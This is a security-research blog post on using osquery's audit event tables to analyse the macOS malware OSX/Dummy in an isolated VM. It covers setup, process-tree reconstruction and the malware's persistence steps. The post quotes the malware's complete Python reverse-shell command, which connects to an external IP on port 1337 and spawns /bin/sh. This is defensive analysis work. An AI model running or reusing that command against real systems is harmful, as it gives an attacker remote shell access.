Threat Research Report Team

Mac malware analysis using osquery

Written by Amit Malik | Mar 15, 2024 6:55:07 PM

Osquery, at its most basic level, is an operating system instrumentation framework that exposes the OS as a SQL database. SQL queries can be run to view information about the systems similar to any SQL database, providing a unified cross platform framework (i.e. endpoints running on multiple operating systems can be queried using the industry standard database language: SQL).

 

This structured approach for collecting and accessing data introduces great flexibility, making it useful for multiple purposes. For example, queries can be constructed to audit infrastructure for compliance, vulnerabilities, malware analysis and intrusion detection, etc. Data collected by osquery can be useful to anybody from IT support teams to CSIRTs. However, in this blog post we’ll narrow our focus and explore how to use osquery specifically for macOS malware analysis (though the methodologies discussed are the same for Windows and Linux operating systems).

Malware Analysis

There are many sandbox solutions and analysis tools available for Windows operating system, but far fewer exist for Linux and macOS. Sandboxing provides an automated malware analysis and detection platform. It does this by executing and monitoring the malware activity in an isolated virtual machine. Interestingly (and similarly), osquery can also record the activity of any application on a system using audit events. The following table compares sandboxing with osquery:

 

Tasks Sandboxing osquery
File system activity Full visibility File_events table
Network activity Full visibility Socket_events, dns_lookup_events tables
Process activity Full visibility Process_events table
Runtime code analysis API interactions  Not available


One of the biggest advantages of sandboxing is that it provides code level visibility i.e it can record the API calls used by malicious code. Another advantage of sandboxing is that it provides a full process tree of the malware whereas in osquery we need to do some work to build a similar relationship. On the other hand, osquery can record file, socket and process events which gives us a lot of the data necessary in analyzing malware. However, event collection is not enabled by default in osquery, but that's an easy configuration change. Let's take a look at using osquery to analyze malware on a macOS system.

 

Analysis of OSX/Dummy:

OSX/Dummy is a macOS malware discovered in 2018. Before we execute the malware in a virtual machine we need to enable the events that we want osquery to record for analysis.

 

First, we need to update the audit control file /etc/security/audit_control to include the process events. In the audit_control file update the flags with pc to include the process events as shown here in Figure 1.

 

Figure 1 - Update the audit_control flags with 'pc'

 

After the audit_control file is updated, restart the system.

 

On the osquery side, there are two ways to enable event logging:

1. Using a flag profile with osqueryd

  • In this approach we need to create the flag file /etc/osquery/osquery.flag with the following entries:
    disable_events=false
    disable_audit=false
  • Next, launch the osqueryd with the flag file (flag_file=/etc/osquery/osquery.flag)
2. Using arguments with osqueryi

  • In this approach, osqueryi can be launched with disable_events=false and disable_audit=false (i.e. osqueryi --disable_events=false --disable_audit=false)

For our purposes, we will use the osqueryi command. We will then execute the OSX/Dummy malware on our isolated VM and use osquery to analyze its behavior. Once we execute the malware we should see the events in process_events table as shown here in Figure 2. 

 
 

Figure 2 - Process events of OSX/Dummy malware

 

Unfortunately, osquery doesn’t provide any programmatic interface to access the database. So in order to build the parent and child process relationship we need to copy the table records and save it in a text file. The good thing is that osquery provides various modes to output the SQL query results. We will use ‘line’ mode. We can enable this mode by executing the following command within osqueryi:

.mode line

 

Then, if we execute SELECT* FROM process_events; we will get line by line output as shown here in figure 3.

 

Figure 3 - Line mode output in osquery

 

We can copy the output of the above query into a text file and use a simple python script to build the parent-child relationship using the values in ‘pid’ and 'parent' columns.

A snippet of the process tree will look like the output shown here in Figure 4.

 

Figure 4 - Snippet of process tree of OSX/Dummy malware

 

As we can see, we now have a list of all of the processes launched by the OSX/Dummy malware along with their command line arguments. File, network and DNS related information can be extracted in a similar way from the file_events, socket_events and dns_lookup_events tables respectively.

From the above analysis we can observe the following:

  1. The malware writes a bash script in tmp directory: /tmp/script.sh
  2. The malware changes the ownership of the script to root using chown command
  3. The malware uses chmod command to make the script executable.
  4. The malware uses the mv command to move the script from /tmp/script.sh to /var/root
  5. The malware uses the ps command to list the running processes
  6. The malware uses the mv command to move property list file com.startup.plist to /Library/LaunchDaemons/ for persistence.
  7. The malware uses the chown to change the permission of com.startup.plist to root.
  8. The malware uses the launchctl to run the script.sh (property list file com.startup.plist is for script.sh).
  9. Xpcproxy launches the script.sh
  10. Script.sh launches the python process with following arguments:

command_line_args": "python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"185.243.115.230\",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);

 

For persistence, this malware added a property list file in /Library/LaunchDaemons/, we can see the contents of this file using the SQL query shown here in figure 5. 

 

Figure 5 - Launchd entry of OSX/Dummy malware.

 

And there you have it. We now have a clear picture of how the OSX/Dummy malware behaves and what artifacts it leaves behind. This is a pretty simple process for dynamic malware analysis for macOS and Linux, and just one of the many great use cases for osquery.

 

Related osquery resources: